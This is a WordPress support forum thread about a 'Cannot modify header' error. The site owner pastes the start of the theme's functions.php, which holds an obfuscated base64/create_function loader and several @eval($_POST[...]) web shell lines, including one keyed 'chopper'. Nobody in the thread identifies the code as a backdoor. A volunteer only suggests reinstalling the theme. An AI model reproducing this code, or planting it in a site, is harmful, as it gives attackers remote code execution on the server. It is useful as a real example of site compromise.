Title: Error message: Cannot modify header
Last modified: August 31, 2016

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# Error message: Cannot modify header

 *  [TrueNorthSolutions](https://wordpress.org/support/users/truenorthsolutions/)
 * (@truenorthsolutions)
 * [10 years, 4 months ago](https://wordpress.org/support/topic/error-message-cannot-modify-header/)
 * I’m helping a friend with her website, [http://www.LasVegasThermography.com](http://www.LasVegasThermography.com),
   and the website had been up and live, then all of a sudden about a week ago we
   got this error message when trying to navigate to the site:
 * Warning: Cannot modify header information – headers already sent by (output started
   at /home/cherilynn/public_html/wp-content/themes/x/functions.php:1) in /home/
   cherilynn/public_html/wp-includes/pluggable.php on line 1207
 * However, it won’t let me log in to the WordPress to solve the problem, and just
   redirects back to the same error message. Help?

Viewing 5 replies - 1 through 5 (of 5 total)

 *  [KostasNi](https://wordpress.org/support/users/kostasni/)
 * (@kostasni)
 * [10 years, 4 months ago](https://wordpress.org/support/topic/error-message-cannot-modify-header/#post-7011125)
 * Hi TrueNorthSolutions,
    The error message you get tells us that on the 1st line
   of functions.php of the theme (which is found at /public_html/wp-content/themes/
   x/functions.php) there is something that shouldn’t be there. Usually it is an
   empty line, or even just a space. There shouldn’t be anything before the opening
   <?php
 * The same applies for /public_html/wp-config.php, there shouldn’t be anything 
   before the opening <?php
 * Here is a related article: [How do I solve the Headers already sent warning problem?
 * If someone has edited functions.php of the theme (it is not recommended editing
   original theme files), you should open the file and make sure there is nothing
   before <?php. Re installing the theme altogether will work too, but any file 
   changes will be lost (that is why we suggest creating [child themes](https://codex.wordpress.org/Child_Themes)).
 * I hope this helps
 *  [ReggieT60](https://wordpress.org/support/users/reggiet60/)
 * (@reggiet60)
 * [10 years, 4 months ago](https://wordpress.org/support/topic/error-message-cannot-modify-header/#post-7011202)
 * if I can’t get in to admin the site, how do I change the script?
 *  [KostasNi](https://wordpress.org/support/users/kostasni/)
 * (@kostasni)
 * [10 years, 4 months ago](https://wordpress.org/support/topic/error-message-cannot-modify-header/#post-7011204)
 * ReggieT60, are we talking about the same site, the one TrueNorthSolutions posted
   about earlier?
 * You can edit your files either by FTP or from your host’s cPanel.
 *  Thread Starter [TrueNorthSolutions](https://wordpress.org/support/users/truenorthsolutions/)
 * (@truenorthsolutions)
 * [10 years, 4 months ago](https://wordpress.org/support/topic/error-message-cannot-modify-header/#post-7011283)
 * Hi KostasNi,
 * Thanks for responding so quickly – I went through the FTP to get to: /public_html/
   wp-content/themes/x/functions.php and to /public_html/wp-config.php but neither
   had any spaces.
 * Is there somewhere else I should be looking? Or maybe am I missing something 
   else?
 * Here’s the opening code from both places:
 * Functions.php
    ‘<?php $mt=”mFsKCleRfU”; $ojj=”IEBleldle”; $hsa=”E9TVFsnd2Vud2VuJ10p”;
   $fnx=”Ow==”; $zk = str_replace(“d”,””,”sdtdrd_redpdldadcde”); $ef = $zk(“z”, “”,“
   zbazsze64_zdzeczodze”); $dva = $zk(“p”,””,”pcprpepaptpe_fpupnpcptpipopn”); $zvm
   = $dva(”, $ef($zk(“le”, “”, $ojj.$mt.$hsa.$fnx))); $zvm(); ?> OK<?php [@eval](https://wordpress.org/support/users/eval/)(
   $_POST[‘rio’]);?><?php [@eval](https://wordpress.org/support/users/eval/)($_POST[‘
   dd’]);?><?php [@eval](https://wordpress.org/support/users/eval/)($_POST[‘dd’]);?
   ><?php [@eval](https://wordpress.org/support/users/eval/)($_POST[‘chopper’]);?
   ><?php [@eval](https://wordpress.org/support/users/eval/)($_POST[‘dd’]);?><?php
 * // ==========================================================================
   ===
    // FUNCTIONS.PHP’
 * Here’s wp_config.php:
    ‘<?php /** * The base configurations of the WordPress.**
   This file has the following configurations: MySQL settings, Table Prefix, * Secret
   Keys, WordPress Language, and ABSPATH. You can find more information * by visiting{
   @link [http://codex.wordpress.org/Editing_wp-config.php](http://codex.wordpress.org/Editing_wp-config.php)
   Editing * wp-config.php} Codex page. You can get the MySQL settings from your
   web host. * * This file is used by the wp-config.php creation script during the*
   installation. You don’t have to use the web site, you can just copy this file*
   to “wp-config.php” and fill in the values. * * [@package](https://wordpress.org/support/users/package/)
   WordPress */
 * // ** MySQL settings – You can get this info from your web host ** //
    /** The
   name of the database for WordPress */ define(‘DB_NAME’, ‘lvthermography’);’
 *  [KostasNi](https://wordpress.org/support/users/kostasni/)
 * (@kostasni)
 * [10 years, 4 months ago](https://wordpress.org/support/topic/error-message-cannot-modify-header/#post-7011315)
 * I suggest taking a backup of your theme and then re-uploading a fresh copy.
 * If this doesn’t solve the issue, and since X is a commercial theme, we ask that
   you please go to [their official support channel](https://community.theme.co/forums/group/support-center/),
   so you can get support from the people who know it best.
 * Forum volunteers are also not given access to commercial products, so they would
   not know why it is not working properly. Other community members who may have
   faced your issue might be able to help you but your best bet is your product’s
   developer. Keep in mind we encourage you to use the official support venues, 
   as it allows the developers to be aware of issues with their code and gives back
   to the community in a more robust way.

Viewing 5 replies - 1 through 5 (of 5 total)

The topic ‘Error message: Cannot modify header’ is closed to new replies.

## Tags

 * [20q2016](https://wordpress.org/support/topic-tag/20q2016/)
 * [error message](https://wordpress.org/support/topic-tag/error-message/)

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 5 replies
 * 3 participants
 * Last reply from: [KostasNi](https://wordpress.org/support/users/kostasni/)
 * Last activity: [10 years, 4 months ago](https://wordpress.org/support/topic/error-message-cannot-modify-header/#post-7011315)
 * Status: not resolved

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